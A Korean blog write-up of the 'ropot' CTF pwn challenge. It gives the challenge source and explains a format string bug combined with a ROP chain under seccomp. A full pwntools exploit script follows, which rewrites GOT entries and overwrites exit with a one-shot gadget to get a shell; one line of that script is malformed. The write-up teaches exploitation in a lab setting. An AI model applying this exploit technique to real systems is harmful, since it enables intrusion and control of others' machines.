ropot


이건 예전에 어떤 CTF에 나온 robot이란 문제를 조금 수정해서 냈다는데, 차이점은 문제 취약점 설명하면서 적겠다. 문제 컨셉은 좀 유쾌했음 ㅋㅋ 자식 프로세스가 robot이고 부모 프로세스는 robot이 보낸 값을 통해서 move같은 작업들 하고 뭐 하고 하던데, 사실 의미있는 것들은 아니더라.
넌센스였던 건 분명 자식 프로세스가 robot인데, robot이 사용자의 input을 받아야 한다는 것… 그리고 쓰레기 문제만 창출하는 내가 할 말은 아니지만, 이 문제도 역시나 “문제”를 위한 문제였고 Realworld에서 있을법한 문제를 다루진 않은 것 같았다.

Mitigation


  • Relro : Partial Rerlo
  • Stack : No canary found
  • NX : NX enable
  • PIE : PIE enable

PIE는 어처피 바로 릭해주면서 왜 걸었는지는 모르겠음, 그냥 보호기법이 없는 수준이다.

Analyzing


난 원래 CTF를 좋아하는 편은 아닌데, 내 블로그의 다른 문제 풀이 어딘가에서도 적어놨듯이 CTF는 정해진 시간 내에서 “Time attack”형식으로 문제를 풀어야 한다. 그래서 어떻게 보면, 분석을 야매로 해야하는 경우도 있다. 그래서 CTF 때는 시간에 쫓겨서 풀다가 못푸는 경우가 많고 그러다보면 나는 나대로 스트레스를 받고 또 팀은 팀대로 손해를 봐서 미안해지고… 그래서 별로 CTF를 안 좋아한다..

Intro

소스코드를 제공해준다. 근데 200줄밖에 안됨.

/*gcc -z lazy -z noexecstack -fstack-protector robot.c -o robot*/

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include "SECCOMP.h"
//#include<seccomp.h>

struct sock_filter seccompfilter[] = {
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, ArchField),
    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, SyscallNum),
    Allow(read),
    Allow(write),
    Allow(rt_sigreturn),
    Allow(exit),
    Allow(exit_group),
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
};

struct sock_fprog filterprog = {
    .len = sizeof(seccompfilter) / sizeof(struct sock_filter),
    .filter = seccompfilter};

void apply_seccomp()
{
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0))
    {
        perror("Seccomp Error");
        exit(1);
    }
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filterprog) == -1)
    {
        perror("Seccomp Error");
        exit(1);
    }
    return;
}

void initproc()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    return;
}

int move(unsigned int *pos, unsigned int x, unsigned int y)
{
    int newx = pos[0] + x;
    int newy = pos[1] + y;
    if (newx < 0 || newx >= 100 || newy < 0 || newy >= 100)
        return -1;
    else
    {
        pos[0] = newx;
        pos[1] = newy;
        return 1;
    }
}

_Noreturn main()
{
    initproc();
    int pipefd[4];
    if (pipe2(pipefd, O_CLOEXEC | O_DIRECT) == -1 || pipe2(&(pipefd[2]), O_CLOEXEC | O_DIRECT) == -1)
    {
        puts("Cannot establish connection to robot");
        exit(1);
    }
    int pid = fork();
    if (pid < 0)
    {
        puts("Robot bootup failed");
        exit(1);
    }
    if (pid != 0)
    {
        close(pipefd[0]);
        close(pipefd[3]);
        char *buf = mmap(NULL, 0x100, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        int randfd = open("/dev/urandom", O_RDONLY);
        if (buf == (void *)-1 || randfd == -1)
        {
            puts("Monitor crashed");
            exit(1);
        }
        int seed;
        read(randfd, &seed, 4);
        srand(seed);
        close(randfd);
        unsigned int robot[2] = {((unsigned int)rand()) % 20, ((unsigned int)rand()) % 20};
        unsigned int outlaw[2] = {80U + (unsigned int)rand() % 20, 80U + ((unsigned int)rand()) % 20};
        for (int i = 0; i < 1000; i++)
        {
            read(pipefd[2], buf, 0x1000);
            siginfo_t status = {0, 0, 0, 0, 0};
            int waitres = waitid(P_PID, pid, &status, WNOHANG | WEXITED);
            if (waitres == -1)
            {
                kill(pid, SIGKILL);
                puts("Monitor malfunctioning");
                exit(1);
            }
            else if (status.si_pid == pid)
            {
                if (status.si_code == CLD_EXITED && status.si_status == 0)
                    puts("AI halted");
                else
                    puts("AI crashed");
                exit(0);
            }
            if (buf[0] == 'S')
            {
                buf[0] = robot[0] + 1;
                buf[1] = robot[1] + 1;
                buf[2] = outlaw[0] + 1;
                buf[3] = outlaw[1] + 1;
                buf[4] = '\0';
            }
            else if (buf[0] == 'M')
            {
                int moveres = 0;
                if (buf[1] == 'A')
                    moveres = move(robot, -1, 0);
                else if (buf[1] == 'D')
                    moveres = move(robot, 1, 0);
                else if (buf[1] == 'W')
                    moveres = move(robot, 0, 1);
                else if (buf[1] == 'S')
                    moveres = move(robot, 0, -1);
                if (moveres == -1)
                    strcpy(buf, "Failed");
                else if (moveres == 1)
                    strcpy(buf, "Success");
            }
            else if (buf[0] == 'G')
            {
                puts("Mission failed :(");
                puts("Only quitters giveup");
                kill(pid, SIGKILL);
                exit(0);
            }
            else
            {
                buf[0] = '\0';
            }
            if (robot[0] == outlaw[0] && robot[1] == outlaw[1])
            {
                puts("Mission cleared!");
                puts("Here is a token to show our gratitude : NOTFLAG{Super shellcoder}");
                exit(0);
            }
            move(outlaw, (((unsigned int)rand()) % 2) - 1, (((unsigned int)rand()) % 2) - 1);
            dprintf(pipefd[1], buf);
        }
        puts("Mission failed :(");
        puts("Robot ran out of fuel");
        kill(pid, SIGKILL);
    }
    else
    {
        close(pipefd[1]);
        close(pipefd[2]);
        void (*ropchain)() = mmap((void *)((((unsigned long long)(main)>>12)+0x10)<<12), 0x100, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        printf("Gift1: %p\n", ropchain);
        printf("Gift2: %p\n", main);
        //printf("Gift3: %p\n", printf);
        if (ropchain == (void *)-1)
        {
            puts("Robot initialisation failed");
            exit(1);
        }
        printf("Give me chain : ");
        fgets((char *)ropchain, 0x8e0, stdin);
        close(STDIN_FILENO);
        close(STDOUT_FILENO);
        close(STDERR_FILENO);
        apply_seccomp();
        asm("mov %0, %%rsp\n"
            "xor %%rdx, %%rdx\n"
            "xor %%rax, %%rax\n"
            "xor %%rbx, %%rbx\n"
            "xor %%rcx, %%rcx\n"
            "xor %%rsi, %%rsi\n"
            "xor %%rdi, %%rdi\n"
            "xor %%rbp, %%rbp\n"
            "xor %%r8, %%r8\n"
            "xor %%r9, %%r9\n"
            "xor %%r10, %%r10\n"
            "xor %%r11, %%r11\n"
            "xor %%r12, %%r12\n"
            "xor %%r13, %%r13\n"
            "xor %%r14, %%r14\n"
            "xor %%r15, %%r15\n"
            "ret\n"
            "pop %%rax\n"
            "ret\n"
            "pop %%rcx\n"
            "ret\n"
            "pop %%rdx\n"
            "ret\n" ::"r"(*ropchain));
    }
    exit(0);
}

Parent Process

여기서 중요한 main의 초반부를 보게 되면 pipe를 열고 fork로 자식프로세스를 하나 생성한다. 그 다음 부모프로세스라면 필요없는 pipe fd를 닫고 버퍼 공간 0x1000 byte만큼 할당한 다음에 pipe로 자식 프로세스가 넘겨주는 값을 read로 받아온다. 그리고 자식 프로세스 상태를 계속 체크하다가 제대로 된 상태가 아니면 부모도 죽인다.
그 이후 받아온 값을 토대로 값을 체크해서 이것저것 작업을 하는데, 이 때 buf[0]의 부분의 경우에는 모두 제대로 체크를 해서 검증을 하고 잘못된 값이 넘겨졌을 경우 buf[0]에 null byte를 넘겨주어 untrusted inputdprintf로 넘겨지지 않도록 방지한다.
근데 여기서 잘 봐야 하는 게 부분이 바로 buf[0]M일 때이다. 이 때는 buf[1]에 대해서 충분한 검증을 거치지 않는다. 따라서 A, W, S, D가 아닌 다른 값이 왔을 때 제대로 된 예외를 처리하지 않는다.
또한 맨 부모 프로세스의 맨 마지막 작업을 보면 dprintf 함수를 통해서 자식프로세스에 buf의 값을 넘겨준다는 것을 알 수 있는데, 이 때 Format String Bug가 발생한다는 걸 알아챌 수 있다. 때문에 buf값을 M%p%p형식으로 넘겨주어 fsb를 유발할 수 있다.

Child Process

이제 자식프로세스가 일하는 곳을 보면, 여기도 쓸모없는 pipe fd 닫아준 다음에 보면 맨 처음부터 pie를 leak해준다. rop chain을 하는 buffer 주소도 leak해주는데, 사실 저건 1/2 확률로 main 주소 + 0x10000 이거나, main 주소 + 0x11000이라서 왜 줬는진 모르겠음.
그 이후에는 fgets로 buffer에 쭉 입력을 받고 stdin, stderr, stdout을 다 닫은 다음에 apply_seccomp함수로 syscall을 제한하고 rop chain 쪽으로 rsp를 옮겨준다.
근데 여기서 pop rax; ret, pop rcx; ret, pop rdx; ret등등의 rop 가젯을 다 뿌려주는데 이거 덕분에 생각보다 쉽게 exploit이 된다.
robot문제에서는 ropot문제와 다르게 이 부분에서 rsp를 buffer쪽으로 옮기는 게 아니라 rip로 옮긴다. 그래서 익스자체는 훨씬 쉽지만 어셈블리로 함수를 구현해야해서 귀찮더라…

Keyword

이제 여기까지 왔을 때 주목해야하는 몇 가지 키워드가 있는데, 일단 기본적으로 fsb를 통해 exploit을 해야한다는 것과 dprintf를 통한 값을 그냥 출력하는 게 아니라 자식 프로세스로 넘겨준다는 것이다. 또 부모프로세스와 자식프로세스가 나눠져있다느 점 때문에 디버깅이 귀찮다는 것도… ㅎㅎ (tmux를 통해 pwntools 내부의 gdb 기능을 사용하려 했는데, 자꾸 자식프로세스에 디버거가 안 붙고 부모에만 붙으려 하거나 아예 디버거가 안 붙는다.)

Exploit


아무래도 쉘코드 익스에서 rop 익스로 바뀌어서 그런지 좀 까다로운 면이 있는데, 일단 내가 원하는 instruction을 마음대로 쓰기 힘들다는 게 가장 까다로운 점일 것이다.
또, 출력이 바로 터미널로 나오는 게 아니라 자식과 부모가 서로 통신한다는 점 때문에 leak의 방법을 떠올리는데에 큰 문제가 생긴다.
추가적으로 rop가 가능한 자식프로세스에는 stdin, stdout, stderr이 다 닫혀있고 syscall도 모두 제한되어 있기 때문에 부모프로세스에서 쉘을 획득해야한다는 점도 생각해야한다.

How to communication?

일단 여기서 가장 중요한 게 출력 함수가 없다. 그래서 출력함수를 만들어줘야 하는데 이 부분은 close함수의 got부분을 rop를 통해서 close->syscall 수정해준다. 이게 가능한 이유는 우리의 생각보다 일반적인 ELF binary에는 이쁜 가젯이 많기 때문이다.
그럼 이제 syscall도 생겼고 pop rax; ret 가젯도 있고 인자 설정도 원하는대로 가능하니까 read, write를 마음대로 할 수 있다. 근데 여기서 끝이 아니라 fsb를 통해서 자식 프로세스에 leak을 해와도 exploit script에서 읽어올 수 없다는 점을 해결해야만 한다.

How to leak?

그러려면 fsb의 결과 값을 터미널 화면에 출력을 해야만 하는데 이 방법은 double stage fsb를 통해서 해결해야한다. 자식 프로세스 내로 leak한 stack 값을 통해 부모 프로세스에는 stack 내에 존재하는 stack을 가리키는 pointer가 있다. 그 포인터의 1 byte만 잘 바꿔줘서 pipe fd부분을 가리키게 수정하고 다시 한 번 fsb를 진행해 pipe fd를 stdin, stdout으로 수정해야 한다.

How to make FSB payload?

근데 여기서 또 문제가 생긴다. 자식프로세스로 릭한 stack의 값은 숫자값이 아닌 string값이다. (%s를 통해서 raw한 data로도 leak을 할 수는 있지만 그렇게 될 경우 그 값은 환경변수를 가리키는 주소 값이라서 pipe fd와의 offset이 고정적이지 않다.) 때문에 그 값을 10진수 string으로 다시 변경해서 format string bug를 유발해야만한다. 근데 이걸 도대체 어떻게 해야하는가… 이게 문제였다.
방법은 rop를 통해서 close함수의 got에서 libc base주소를 rop chain의 영역 일부에 저장하고 그 값을 이용해서 libc function을 call하는 것이다. 이 방법을 통해 strtoul 그리고 sprintf를 호출하여 hex string->raw data->int string의 순서를 거쳐서 fsb payload를 최종적으로 작성할 수 있고 그 이후에는 더 이상 부모 프로세스와 자식 프로세스 간의 통신이 필요 없어진다.

How to hlt Child Proces?

그런데 아까 말했듯이 fd를 변경하고 자식 프로세스를 그냥 꺼버리면 부모 프로세스는 잘못된 걸 파악하고 부모 프로세스도 중간에 그냥 꺼져버린다. 근데 hlt도 못 걸고 종료도 못하면 어떻게 해야할까? 방법이야 여러가지가 있다.
read(pipe_fd, buf, len)과 같이 read를 호출해서 입력을 받도록 계속 기다리게 만들어도 되고 pop rsp; ...; ret등의 rsp를 조절할 수 있는 가젯을 통해서 같은 instruction을 무한대로 반복하게 만들어도 된다.
나의 경우에는 전자의 방법을 사용하면 fsb payload가 dprintf에 넘겨진 이후에 자식 프로세스로 넘겨지는 값들 때문에 read할 때 값을 계속 받아오려해서 hlt가 걸리지 않았다. 때문에 후자의 방법을 사용했다.

그럼 이제 터미널로 dprintf의 값이 완벽하게 넘겨와지고 read도 Child Process에서 받아오는 게 아닌 stdin에서 값을 받아오게 된다. 이 이후에는 그냥 단순 fsb를 통해서 libc leak을 한 뒤 exit의 got를 oneshot gadget으로 덮어주고 쉘을 획득했다.

취약점도 간단하고 그리 어려운 문제는 아닌데 중간중간 해야할 게 많아서 까따로웠던 문제였다. 또 ROP 가젯을 잘 뽑아와야해서 이 것도 꽤 어려웠다. 문제 라업 끝~ 최종 솔브는 밑에…

solve.py

from pwn import *

#context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
e = ELF('./ropot')
libc = e.libc

writefd = 6
readfd = 3

data = b""
data += b"M%36p".ljust(0x8, b'\x00')
data += b"M%%%dc%%36hn".ljust(0x10, b'\x00')
data += b'\x00'*0x10
data += b"M%62ln".ljust(0x10, b'\x00')

def main(p):
    p.recvuntil(b': ')
    buf = int(p.recvline(), 16)
    DATA = buf + 0x3b0
    wbuffer = buf + 0x390
    p.recvuntil(b': ')
    pie = int(p.recvline(), 16) - 0x138b
    syscall = 0x00001060 + pie
    close_got = 0x00004030 + pie
    exit_got = 0x00004088 + pie
    prax = 0x00001a4f + pie
    prdi = 0x00001abb + pie
    prsi = 0x00001ab9 + pie # pop rsi; pop r15; ret;
    prdx = 0x00001a53 + pie
    prcx = 0x00001a51 + pie    prbp = 0x0000122f + pie
    prsp = 0x00001ab5 + pie # pop rsp; pop r13; pop r14; pop r15; ret;
    g1 = 0x00001ab2 + pie # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
    g2 = 0x0000122e + pie # add DWORD [rbp-0x3d], ebx; ret;
    g3 = 0x00001382 + pie # mov DWORD [rdx], eax; mov eax, 0x1; pop rbp; ret;
    g4 = 0x0000137f + pie # mov eax, DWORD [rbp-0x4]; mov DWORD [rdx], eax; mov eax, 0x1; pop rbp; ret;
    ret = 0x00001acc + pie

    log.info(b'BUF: 0x%x'%buf)
    log.info(b'PIE: 0x%x'%pie)
    log.info(b'WRITE BUFFER: 0x%x'%wbuffer)
    pay = b''

    #change close to syscall
    pay += p64(g1) + p64(0x12) + p64(close_got + 0x3d) + p64(0)*4 + p64(g2)
    #change close to syscall

    #leak stack (stage1)
    pay += p64(prax) + p64(1) + p64(prdi) + p64(writefd) + p64(prsi) + p64(DATA)*2 + p64(prdx) + p64(0x10) + p64(syscall)
    pay += p64(prax) + p64(0) + p64(prdi) + p64(readfd) + p64(prsi) + p64(wbuffer - 1)*2 + p64(prdx) + p64(0x100) + p64(syscall)
    #leak stack (stage1)

    #get libc base in wbuffer + 0x10 (stage2)
    pay += p64(prdx) + p64(wbuffer + 0x10) + p64(prbp) + p64(close_got + 4)
    pay += p64(g4) + p64(close_got + 8) + p64(prdx) + p64(wbuffer + 0x14) + p64(g4) + p64(0)
    pay += p64(g1) + p64(-(libc.sym['close'] + 0x12)&0xffffffff) + p64(wbuffer + 0x10 + 0x3d)*5 + p64(g2)
    #get libc base in wbuffer + 0x10 (stage2)

    #calc stack (stage3)
    pay += p64(prdx) + p64(buf + 0x238) + p64(prbp) + p64(wbuffer + 0x10 + 4)
    pay += p64(g4) + p64(wbuffer + 0x14 + 4) + p64(prdx) + p64(buf + 0x238 + 4) + p64(g4) + p64(0)
    pay += p64(g1) + p64(libc.sym['strtol']) + p64(buf + 0x238 + 0x3d)*5 + p64(g2)
    pay += p64(prdi) + p64(wbuffer) + p64(prsi) + p64(0)*2 + p64(prdx) + p64(16) + b'A'*8
    pay += p64(prdx) + p64(wbuffer + 0x18) +  p64(g3) + p64(wbuffer + 0x50 + 4) + p64(prdx) + p64(wbuffer + 0x18 + 2) + p64(g4) + p64(0)
    pay += p64(g1) + p64(-0x185&0xffffffff) + p64(wbuffer + 0x18 + 0x3d) + p64(0)*4 + p64(g2)
    pay += p64(prbp) + p64(wbuffer + 0x18 + 4) + p64(prdx) + p64(buf + 0x7e8)
    pay += p64(g4) + p64(wbuffer + 0x10 + 4) + p64(prdx) + p64(buf + 0x7f0)
    pay += p64(g4) + p64(wbuffer + 0x14 + 4) + p64(prdx) + p64(buf + 0x7f0 + 4) + p64(g4) + p64(0)
    pay += p64(g1) + p64(libc.sym['sprintf']) + p64(buf + 0x7f0 + 0x3d)*5 + p64(g2) + p64(prsp) + p64(buf + 0x7b8 - 0x18)

    pay = pay.ljust(0x3b0, b'\x00')
    pay += data
    pay = pay.ljust(0x408, b'\x00')

    pay = pay.ljust(0x7b8, b'\x00')
    #calc stack (stage3)
    pay += p64(prdi) + p64(DATA + 0x18) + p64(prsi) + p64(DATA + 0x8)*2 + p64(prdx) + b'ABCD'.ljust(0x8, b'\x00') + b'A'*8

    #overwrite parent fds to stdin, stdout (stage4)
    pay += p64(prdi) + p64(writefd) + p64(prsi) + p64(DATA + 0x18)*2 + p64(prdx) + p64(0x20) + p64(prax) + p64(1) + p64(syscall)
    pay += p64(prdi) + p64(writefd) + p64(prsi) + p64(DATA + 0x28)*2 +  p64(prdx) + p64(0x20) + p64(prax) + p64(1) + p64(syscall)

    pay += p64(ret)*7 + p64(prsp) + p64(buf + 0x8b0 - 0x18)

    print(hex(len(pay)))

    pay = pay.ljust(0x8df, b'\x00')
    p.sendafter(b'Give me chain : ', pay)
    p.sendline(b'M' + b'\x00'*0x7f)

    while True:
        p.sendline(b'Mipwn\x00')
        res = p.recvuntil(b'Mipwn', timeout=1) #clean output
        if(len(res)>1):
            print (res)
            break
    log.info(b'Buffer output clean successfully!')
    pause()
    p.sendline(b'M%36pipwn')
    p.recvuntil(b'M')
    stack = int(p.recvuntil(b'ipwn')[:-4], 16)
    over_addr = stack - 0xe8
    p.sendline(b'M%34pipwn')
    p.recvuntil(b'M')
    libc_base = int(p.recvuntil(b'ipwn')[:-4], 16) - libc.sym[b'__libc_start_main'] - 235
    oneshot = libc_base + 0x106ef8
    log.info(b'[STACK] 0x%x'%stack)
    log.info(b'[GLIBC] 0x%x'%libc_base)
    log.info(b'[OVER_ADDR] 0x%x'%over_addr)

    pay = b'M%' + str( (over_addr % 0x10000) - 1 ) + b'c%36hnipwn'
    p.sendline(pay + b'\x00')
    p.recvuntil(b'ipwn')

    for i in range(3):
        pay = b'M%' + str( (exit_got % 0x10000) - 1 + i * 2 ) + b'c%62hnipwn'
        p.sendline(pay + b'\x00')
        p.recvuntil(b'ipwn')
        pay = b'M%' + str( ( (oneshot >> ( i * 16 ) )&0xffff) - 1 ) + b'c%33hnipwn'
        p.sendline(pay + b'\x00')
        p.recvuntil(b'ipwn')


    p.interactive()
    exit(0)

if __name__ == '__main__':
    p = process(e.path, aslr=True)
    main(p)